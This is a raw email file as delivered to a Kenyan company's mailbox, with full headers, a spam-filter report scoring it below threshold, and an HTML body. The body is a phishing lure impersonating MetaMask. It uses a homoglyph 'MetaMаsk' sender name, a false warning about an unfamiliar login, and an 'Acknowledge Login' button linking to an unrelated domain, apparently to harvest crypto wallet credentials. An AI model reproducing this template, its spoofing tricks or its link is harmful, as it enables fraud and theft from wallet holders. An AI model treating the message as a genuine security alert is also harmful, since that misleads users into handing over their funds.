File: /home2/hansardh/mail/new/1748800360.M634727P1181157.hp4.hostpido.com,S=6153,W=6269
Return-Path: <postmaster@9735eb836d.nxcli.io>
Delivered-To: hansardh@hp4.hostpido.com
Received: from hp4.hostpido.com
by hp4.hostpido.com with LMTP
id +LmWJWiTPGjlBRIA6hbwcw
(envelope-from <postmaster@9735eb836d.nxcli.io>)
for <hansardh@hp4.hostpido.com>; Sun, 01 Jun 2025 20:52:40 +0300
Return-path: <postmaster@9735eb836d.nxcli.io>
Envelope-to: info@hansardhomes.co.ke
Delivery-date: Sun, 01 Jun 2025 20:52:40 +0300
Received: from cloudhost-4428561.us-west-1.nxcli.net ([173.249.147.224]:57488)
by hp4.hostpido.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.97.1)
(envelope-from <postmaster@9735eb836d.nxcli.io>)
id 1uLmrO-00000004xI3-3523
for info@hansardhomes.co.ke;
Sun, 01 Jun 2025 20:52:40 +0300
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=9735eb836d.nxcli.io;
b=R/Y+Btmg48eEqyPctXsFvp7NCaU648QH6lc+JOQGbRPGpg5HnRBrEIuVci/9bxpViG9D24GcSFMRJrsSIZTiteJvzIUStXmfmFArDBul1x/YNzs0hQ+ZCJQGri0xViy3CHyxQJBXczprqgYtrri0u4Go1wIzNJc1sJ/j2WDdrSc3TMOX/TvwkevwrxWcBc6gV/bL/Yj1Dc3Z92BFrzORB1E+8HYA3DVgsxQfrplhelQYxSY++O5J4A6vAsHd17TJS35Db2Gvzke5Lv5oCBozs5WHEiaLFp/9suOyzrBLi9r/rDprNPK5X+w2PKelCyWH0N050shEtfm/H1DKLPu7fg==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=9735eb836d.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type; s=default; bh=1VTYmd9A+qRI4HhKAYFTV6PIHN/g3RHcUQV
6x8wV9JQ=; b=N5qfp4VFHFL7Pz0jcsqGSTAyl2XRjcauapXoeGlv5OYlEkKHs6V
qfTDWFd79W4ttHpNQgBK7/qYtsnQPN4bowyi+x9MXeoT7hXUllP/ICL5Ixoa3uX0
3Xm6dLt2v7GpaoFXdHGfc8sKVMz3v2ojczGPQ17vm08y5Np3fVfWGvYg4QXZBWGA
+dXyJ/Mg6arfBPyF3P0GDZBCsHPYkQxCcIRzN71YFSsBZXcN6qwL+KjpV7lS2rJu
DBchgBwVPimehMf59LP6SpHZo5dATkpa3m2YRV/CDrlR2DtRdjUc+cKz7zxbGBGN
roWyxrLYel4i4mGngFtQL75O2ZIEbbJjM9Q==
Received: (qmail 8653 invoked by uid 10164); 1 Jun 2025 17:30:12 +0000
Date: 1 Jun 2025 17:30:12 +0000
Message-ID: <20250601173012.8642.qmail@cloudhost-4428561.us-west-1.nxcli.net>
To: info@hansardhomes.co.ke
Subject: Security Notification
X-PHP-Originating-Script: 10164:j.php
From: "MetaMаsk" <zct5vgp8@kmd.io>
Reply-To: zct5vgp8@kmd.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: No, score=3.2
X-Spam-Score: 32
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system "hp4.hostpido.com",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetaMаsk - Review Required Review Required Your account was
accessed from an unfamiliar IP address.
Content analysis details: (3.2 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: nxcli.io]
0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to
dbl.spamhaus.org was blocked due to usage
of an open resolver. See
https://www.spamhaus.org/returnc/pub/
[URIs: nxcli.io]
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of
words
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
X-Spam-Flag: NO
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
<table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
<tr>
<td style="padding:28px 24px;text-align:center;">
<img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
<h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
<p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
Your account was accessed from an unfamiliar IP address.
</p>
<p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
</p>
<p style="margin:24px 0;">
<a href="https://evergreenparknupes.com/oppo/?id=-6726725222409245279-4375" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
Acknowledge Login
</a>
</p>
<p style="font-size:12px;color:#888;margin-top:24px;">
Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
</p>
</td>
</tr>
</table>
</body>
</html>